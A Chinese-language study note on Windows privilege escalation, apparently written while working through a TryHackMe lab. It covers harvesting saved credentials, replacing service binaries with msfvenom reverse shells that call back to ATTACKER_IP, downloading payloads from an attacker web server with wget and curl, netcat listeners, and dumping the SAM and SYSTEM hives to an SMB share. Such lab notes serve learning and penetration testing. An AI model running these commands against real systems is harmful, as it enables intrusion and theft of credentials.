windows提权

用户

Windows系统主要有两类用户。

除此之外,您通常会听说操作系统在权限升级的情况下使用一些特殊的内置帐户:

敏感信息位置

无人值守的 Windows 安装

在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,该服务允许通过网络将单个操作系统映像部署到多台主机。此类安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户来执行初始设置,该设置最终可能存储在计算机中的以下位置:

作为这些文件的一部分,您可能会遇到凭据:

shell-session
<Credentials>
    <Username>Administrator</Username>
    <Domain>thm.local</Domain>
    <Password>MyPassword123</Password>
</Credentials>

Powershell 历史

每当用户使用 Powershell 运行命令时,它都会存储到一个文件中,该文件会保留过去的命令。这对于快速重复之前使用过的命令很有用。如果用户直接在 Powershell 命令行中运行包含密码的命令,则稍后可以在cmd.exe提示符下使用以下命令来检索该密码:

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

上面的命令只能在 cmd.exe 中运行,因为 Powershell 不会将%userprofile%识别为环境变量。要从 Powershell 读取该文件,您必须将%userprofile%替换为$Env:userprofile

保存的 Windows 凭据

Windows 允许我们使用其他用户的凭据。此功能还提供了将这些凭据保存在系统上的选项。下面的命令将列出保存的凭据:

cmdkey /list

虽然您看不到实际的密码,但如果您发现任何值得尝试的凭据,您可以将它们与runas命令和/savecred选项一起使用,如下所示。

runas /savecred /user:admin(这个admin是用户名) cmd.exe

IIS 配置

Internet 信息服务 (IIS) 是 Windows 安装上的默认 Web 服务器。 IIS 上网站的配置存储在名为web.config的文件中,并且可以存储数据库的密码或配置的身份验证机制。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

从软件检索凭证:PuTTY

PuTTY 是 Windows 系统上常见的 SSH 客户端。用户不必每次都指定连接参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供以后使用。虽然 PuTTY 不允许用户存储其SSH密码,但它将存储包含明文身份验证凭据的代理配置。

要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

正如 putty 存储凭据一样,任何存储密码的软件,包括浏览器、电子邮件客户端、FTP 客户端、 SSH客户端、VNC 软件等,都将有方法恢复用户保存的任何密码

利用错误的服务配置

Windows 服务由服务控制管理器(SCM) 管理。
Windows 计算机上的每个服务都有一个关联的可执行文件,每当服务启动时,SCM 都会运行该可执行文件。
需要注意的是,服务可执行文件实现特殊功能以便能够与 SCM 通信,因此任何可执行文件都不能作为服务成功启动。每个服务还指定该服务将在其下运行的用户帐户。

服务可执行文件的不正确权限

Pasted image 20241117205023.png

可以看到有用户svcusr1执行C:\PROGRA~2\SYSTEM~1\WService.exe文件
查看文件权限:
Pasted image 20241117205216.png
发现有修改权限(M),我么可以生成其他文件来覆盖他,

在攻击机上利用msfvenom来生成:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

之后用python开启web服务,来使受害机访问下载攻击文件:

python3 -m http.server 
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe

然后就可以将攻击文件进行替换:

C:\> cd C:\PROGRA~2\SYSTEM~1\

C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp

C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe

C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
//修改权限

在攻击机上监听等待即可

nc -lvp 4445

不正确路径(未加引号)

Pasted image 20241117213924.png
看到有:

BINARY_PATH_NAME   : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

当 SCM 尝试执行关联的二进制文件时,就会出现问题。由于“Disk Sorter Enterprise”文件夹的名称上有空格,因此该命令变得不明确,并且 SCM 不知道您正在尝试执行以下哪一个:

还有,大多数文件写在C:\Program FilesC:\Program Files (x86)中,非特权用户无法写入
但是这里安装在c:\MyPrograms下。默认情况下,它继承C:\目录的权限,允许任何用户在其中创建文件和文件夹。

所以这里我们就可以将恶意文件修改为C:\MyPrograms\Disk.exe

不安全的服务权限

如果服务的可执行文件的DACL(权限)没有问题,并且路径也没啥问题

可以检查一下服务本身的DACL(权限)

要从命令行检查服务 DACL,您可以使用 Sysinternals 套件中的Accesschk 。

accesschk64.exe -qlc thmservice

Pasted image 20241123144759.png
可以看到任何用户都有SERVICE_ALL_ACCESS权限,都可以重新配置服务

下面构建另一个 exe-service 反向 shell

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe

python3 -m http.server 


nc -lvnp 4447
curl http://ATTACKER_IP:8000/rev-svc3.exe -O rev-svc3.exe


icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

滥用特权

windows特权

查看特权:

whoami /priv

https://github.com/gtworek/Priv2Admin
这个项目列举了一些对于攻击者有用的特权

SeBackup / SeRestore

SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,忽略任何DACL 。此权限背后的想法是允许某些用户从系统执行备份,而无需完全管理权限。

有了这种能力,攻击者可以使用多种技术轻松提升系统权限。我们将研究的方法包括复制 SAM 和 SYSTEM 注册表配置单元以提取本地管理员的密码哈希值。

注意(管理员身份启动)
Pasted image 20241123155912.png

要备份 SAM 和 SYSTEM 哈希值,我们可以使用以下命令:

C:\> reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.

C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.

这将创建几个包含注册表配置单元内容的文件。现在,我们可以使用 SMB 或任何其他可用方法将这些文件复制到攻击者计算机。对于 SMB,我们可以使用 impacket 的smbserver.py在 AttackBox 的当前目录中启动一个带有网络共享的简单SMB服务器:

mkdir share

python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share